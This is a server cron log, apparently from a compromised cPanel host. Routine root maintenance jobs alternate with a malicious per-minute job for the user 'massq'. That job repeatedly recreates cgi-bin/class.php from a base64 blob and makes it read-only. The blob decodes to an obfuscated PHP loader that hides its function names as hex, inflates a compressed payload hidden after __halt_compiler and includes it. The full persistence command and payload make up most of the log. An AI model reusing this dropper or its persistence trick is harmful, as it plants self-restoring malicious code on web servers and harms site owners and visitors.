Sep  2 13:56:01 server CROND[1818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:57:01 server CROND[2347]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 13:57:01 server CROND[2346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:57:01 server CROND[2349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:57:01 server CROND[2348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:58:01 server CROND[2772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:58:01 server CROND[2773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:58:01 server CROND[2774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:59:01 server CROND[3192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:59:01 server CROND[3193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:59:01 server CROND[3194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:00:01 server CROND[3597]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 14:00:01 server CROND[3596]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:00:01 server CROND[3601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:00:01 server CROND[3623]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 14:00:01 server CROND[3617]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 14:00:01 server CROND[3619]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 14:00:01 server CROND[3620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:00:01 server CROND[3622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:00:01 server CROND[3618]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 14:00:01 server CROND[3621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:01:01 server CROND[4474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:01:01 server CROND[4475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:01:01 server CROND[4476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:01:01 server CROND[4477]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 14:01:01 server run-parts(/etc/cron.hourly)[4477]: starting 0anacron
Sep  2 14:01:01 server run-parts(/etc/cron.hourly)[4496]: finished 0anacron
Sep  2 14:02:01 server CROND[4979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:02:01 server CROND[4980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:02:01 server CROND[4981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:03:01 server CROND[5371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:03:01 server CROND[5373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:03:01 server CROND[5374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:04:01 server CROND[5746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:04:01 server CROND[5747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:04:01 server CROND[5748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:05:01 server CROND[6143]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 14:05:01 server CROND[6144]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 14:05:01 server CROND[6148]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 14:05:01 server CROND[6160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:05:01 server CROND[6162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:05:01 server CROND[6165]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 14:05:01 server CROND[6164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:05:01 server CROND[6163]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:05:01 server CROND[6161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:06:01 server CROND[6999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:06:01 server CROND[7000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:06:01 server CROND[7001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:07:01 server CROND[7479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:07:01 server CROND[7478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:07:01 server CROND[7480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:08:01 server CROND[7873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
